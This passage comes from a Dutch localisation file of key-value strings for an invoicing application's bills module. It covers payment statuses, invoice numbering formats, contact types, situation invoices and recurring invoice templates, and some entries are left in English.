ingedeeld. ExpectedToPay=Verwachte betaling CantRemoveConciliatedPayment=Kan een afgestemde betaling niet verwijderen PayedByThisPayment=Betaald door deze betaling ClosePaidInvoicesAutomatically=Classify "Paid" all standard, down payment or replacement invoices entirely paid. ClosePaidCreditNotesAutomatically=Classeer terugbetaalde creditnotas automatisch naar status "Betaald". ClosePaidContributionsAutomatically=Classify "Paid" all social or fiscal contributions entirely paid. AllCompletelyPayedInvoiceWillBeClosed=Alle betaalde facturen zullen automatisch worden gesloten naar status "Betaald". ToMakePayment=Betaal ToMakePaymentBack=Terugbetalen ListOfYourUnpaidInvoices=Lijst van onbetaalde facturen NoteListOfYourUnpaidInvoices=Nota: deze lijst bevat enkel facturen voor derde partijen waarvoor je als verkoopsvertegenwoordiger aangegeven bent. RevenueStamp=Taxzegel YouMustCreateInvoiceFromThird=Deze optie is alleen beschikbaar bij het maken van een factuur vanuit het tabblad 'Klanten" van derden YouMustCreateInvoiceFromSupplierThird=Deze optie is alleen beschikbaar bij het maken van een factuur vanuit het tabblad 'Leverancier" van derden YouMustCreateStandardInvoiceFirstDesc=Maak eerst een standaard factuur en converteer naar een sjabloon om deze als sjabloon te gebruiken PDFCrabeDescription=Model van complete factuur (Beheert de mogelijkheid van de BTW-heffingsbelasting, de keuze van de regels display, logo, etc) PDFCrevetteDescription=Factuur PDF-sjabloon 'Crevette'. Een compleet sjabloon voor facturen TerreNumRefModelDesc1=Geeft een getal in de vorm van %syymm-nnnn voor standaard facturen en %syymm-nnnn voor creditnota's, met yy voor jaar, mm voor maand en nnnn als opeenvolgende getallenreeks die niet terug op 0 komt MarsNumRefModelDesc1=Return number with format %syymm-nnnn for standard invoices, %syymm-nnnn for replacement invoices, %syymm-nnnn for down payment invoices and %syymm-nnnn for credit notes where yy is year, mm is month and nnnn is a sequence with no break and no return to 0 TerreNumRefModelError=Een wetsvoorstel te beginnen met $ syymm bestaat al en is niet compatibel met dit model van de reeks. Verwijderen of hernoemen naar deze module te activeren. CactusNumRefModelDesc1=Return number with format %syymm-nnnn for standard invoices, %syymm-nnnn for credit notes and %syymm-nnnn for down payment invoices where yy is year, mm is month and nnnn is a sequence with no break and no return to 0 ##### Types de contacts ##### TypeContact_facture_internal_SALESREPFOLL=Verantwoordelijke toezicht afnemersfactuur TypeContact_facture_external_BILLING=Afnemersfactureringscontact TypeContact_facture_external_SHIPPING=Afnemersleveringscontact TypeContact_facture_external_SERVICE=Afnemersservicecontact TypeContact_invoice_supplier_internal_SALESREPFOLL=Verantwoordelijke verkoper factuur bijhouden TypeContact_invoice_supplier_external_BILLING=Leverancier factureringscontact TypeContact_invoice_supplier_external_SHIPPING=Leverancier leveringscontact TypeContact_invoice_supplier_external_SERVICE=Leverancier servicecontact # Situation invoices InvoiceFirstSituationAsk=Eerste situatie factuur InvoiceFirstSituationDesc=De <b>situatie facturen</b> worden gebonden aan situaties met betrekking tot voortgang, bijvoorbeeld de voortgang van een bouwproject. Elke situatie is verbonden met een factuur. InvoiceSituation=Situatie factuur InvoiceSituationAsk=Factuur die de situatie volgt InvoiceSituationDesc=Maak een nieuwe situatie van een reeds bestaande SituationAmount=Situatie factuurbedrag (netto) SituationDeduction=Situatie vermindering ModifyAllLines=Wijzigen van alle lijnen CreateNextSituationInvoice=Maak de volgende situatie ErrorFindNextSituationInvoice=Error unable to find next situation cycle ref ErrorOutingSituationInvoiceOnUpdate=Unable to outing this situation invoice. ErrorOutingSituationInvoiceCreditNote=Unable to outing linked credit note. NotLastInCycle=Deze factuur in niet de nieuwste in de cyclus en kan niet worden gewijzigd DisabledBecauseNotLastInCycle=De volgende situatie bestaat al. DisabledBecauseFinal=Deze situatie is definitief. situationInvoiceShortcode_AS=AS situationInvoiceShortcode_S=Zo CantBeLessThanMinPercent=De voortgang kan niet kleiner zijn dan de waarde in de voorgaande situatie. NoSituations=Geen open situaties InvoiceSituationLast=Finale en algemene factuur PDFCrevetteSituationNumber=Situatie N°%s PDFCrevetteSituationInvoiceLineDecompte=Situatie factuur - COUNT PDFCrevetteSituationInvoiceTitle=Situatie factuur PDFCrevetteSituationInvoiceLine=Situatie N°%s : Fact. N°%s op %s TotalSituationInvoice=Totaal situatie invoiceLineProgressError=Factuurregel voortgang mag niet groter zijn dan of gelijk zijn aan de volgende facturregel updatePriceNextInvoiceErrorUpdateline=Fout: verander de prijs op regel %s ToCreateARecurringInvoice=Als u een herhaal factuur voor dit contract wilt maken, maakt u deze eerst aan in concept en converteert u deze naar een template. Tevens definieert u de frequentie voor het genereren van toekomstige facturen. ToCreateARecurringInvoiceGene=To generate future invoices regularly and manually, just go on menu <strong>%s - %s - %s</strong>. ToCreateARecurringInvoiceGeneAuto=If you need to have such invoices generated automatically, ask you administrator to enable and setup module <strong>%s</strong>. Note that both method (manual and automatic) can be used together with no risk of duplication. DeleteRepeatableInvoice=Verwijder tijdelijke factuur ConfirmDeleteRepeatableInvoice=Weet u zeker dat u dit sjabloon factuur wilt verwijderen? CreateOneBillByThird=Orders samentrekken tot één factuur aan per relatie (anders voor elke bestelling één factuur) BillCreated=%s rekening(en) gecreëerd StatusOfGeneratedDocuments=Status aanmaken document DoNotGenerateDoc=Maak documentbestand niet aan AutogenerateDoc=Automatisch aanmaken documentbestand AutoFillDateFrom=Set start date for service line with invoice date AutoFillDateFromShort=Vanaf datum AutoFillDateTo=Set end date for service line with next invoice date AutoFillDateToShort=Tot datum MaxNumberOfGenerationReached=Max number of gen. reached